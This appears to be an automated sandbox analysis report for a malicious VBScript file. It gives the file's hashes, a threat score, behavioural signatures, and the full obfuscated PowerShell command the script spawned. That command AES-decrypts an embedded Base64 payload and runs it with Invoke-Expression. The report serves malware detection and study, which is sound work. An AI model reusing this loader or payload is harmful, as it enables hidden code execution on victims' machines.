Analysis
-
max time kernel
121s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20240708-en -
resource tags
arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system -
submitted
25-07-2024 07:37
Static task
static1
Behavioral task
behavioral1
Sample
greatbunfeelsoftandhoney.vbs
Resource
win7-20240708-en
5 signatures
150 seconds
Behavioral task
behavioral2
Sample
greatbunfeelsoftandhoney.vbs
Resource
win10v2004-20240709-en
11 signatures
150 seconds
General
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Target
greatbunfeelsoftandhoney.vbs
-
Size
405KB
-
MD5
5ebeb712feef959ca93860f33bb90c28
-
SHA1
09301af0647826aafc70b8217c9b9d73603f4c9c
-
SHA256
dcc910e18826b06462dd9876597c66f760a0cf3748bb7290f836fd197c992461
-
SHA512
545c24ead34d651503b236a503570a4b71538118c12d0a98f178a2bf2a90b2562148bf36051005c9e444cb76ce4aeb738205866f90bef0fcffeb83da28fd5881
-
SSDEEP
3072:/HG1wfkYFIhNe4VTdRnTT8w4TWfZqT92V3gByp0rpbXS7CQzS18f8d6bb/g52r:6wfkYFcZqT9m
Score
8/10
Malware Config
Signatures
-
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 4 2060 powershell.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 2060 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2060 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
WScript.exedescription pid process target process PID 2120 wrote to memory of 2060 2120 WScript.exe powershell.exe PID 2120 wrote to memory of 2060 2120 WScript.exe powershell.exe PID 2120 wrote to memory of 2060 2120 WScript.exe powershell.exe
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\greatbunfeelsoftandhoney.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:2120 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI78366815743834883177266387252660CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIga9tsmjvyGDEbTnjHFelJAUX4KCrTqVd45OcR4UWK9uBqcgRjTWzDVc0WLQLim8CZLV2YjtpSXW2QEA7VS/cvlAg2RLEzlZhddu/3LArAVwxnZmAigs4May7gn4fc9422i1e7fb7BZcIhdfsOatC5rwFPQBEESYDArlsrrsutl8YAgsgkQ4gbI48F1xMvunKLWDK1D/9WrrhLsb1SLaQ/MqF7zxqfvyGQ03UsOYtnpLrLpGmms6XemzN9uablVCW+onrPheHxhUpxAMTM0NOlqdm96kGREpXnp5R0WWFm+VgsQs/0ArBqkL15cemt+b9tRfSYByx0ZCboLCIa+oNycuKAuqf6Y/epNEeWGAqDqtjJqJIdiWHXYEhuwAZ98fk6RvR2+I3Webw06dUuRuR0/wjXoClMN4Oi6lhs/2QJYIgc+pLJV6AdkpnOnyUz4Ph36fvi3kQDM5MYOUDNo2+6gXUpQCiHAOdKqyqpErMF2HnYkU7+9MZfzG1yN7jE1AonEB1cZLclGXlWzU5zLlSJkC++sl5g+H9/Ux0Quib8bCE/GQEENJXAItpoSUbSEZSfX5sz23qzU7iCwed2QQLvqlgF3V+q2aYckTdCPSVAvQRX9WuY9041YV3AFvtROXOXBAlBYI9KqH73bsZgQ78cSk2J0lpsV1brr8w70EaF2NeeTsoQ4rhSYd51QYUKywLaaOj8Yt6xF0RZj1YdsVpNFwER+648GnCnRjUfv946FxuENn2dw+EMKkwuYXc/A7rHY0SRssQqfRcZoVeZO1lDDvDGZ2bQg9+d9Q43Lpu+74awmPIPeIGELZwxij6ybjR1QJfOnA8dmgjAmS1XuRIKcXA6PT/pTItG8AMDa/LaOjsa0aqgsa5cxRaMOzWW1r+50Ff0VZI5mGbmpHMppQMYGAAA9Fwi5V7jMBFgJQTgHqqV6tffqE8RupeU9qsf52nXDHUXNbbNjk1nweHAsTsC2tzLMA7HmTN8L4yXKQnV3MvqgOmux+aqHaZQW0IsGJy4JmJG5l3lPta7tsetb5apmQ0wT5DIdfLz7uQeEJkVnH1dfAIfsDHhZoJCpM9qWVW2lqFkjcdG8iyuM6GCeuGvmSVhivNbbke4zWe+aZ+ih7fbhgFsPzAlTie5kgWKk5g2SiWz6lTgzeHOaC3LYkzM0fMSXGF9iaddVHBcBCdWJF7xk4RStlIEDu7KdXR5WJvjsgJCtVdGJh9Gco4zhyV+jEzhB5qkj1/Vm9he0MtCT8UNW1bB7JD4+CnL/GfJYpWqVJjTGQ5vHPMNz1epJu8k4HYD9Muuhf4Zo9zMppwT7CyAEK71rwBLg3fixJ5zh0YsPGiNEExWdt4NNGO3uC55RE3fIzGbUiaPA/DT9Le+rqO6iC6+pseZmhxxlclJ8HRwll7NQFUpm1UslUS23LMeA==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2060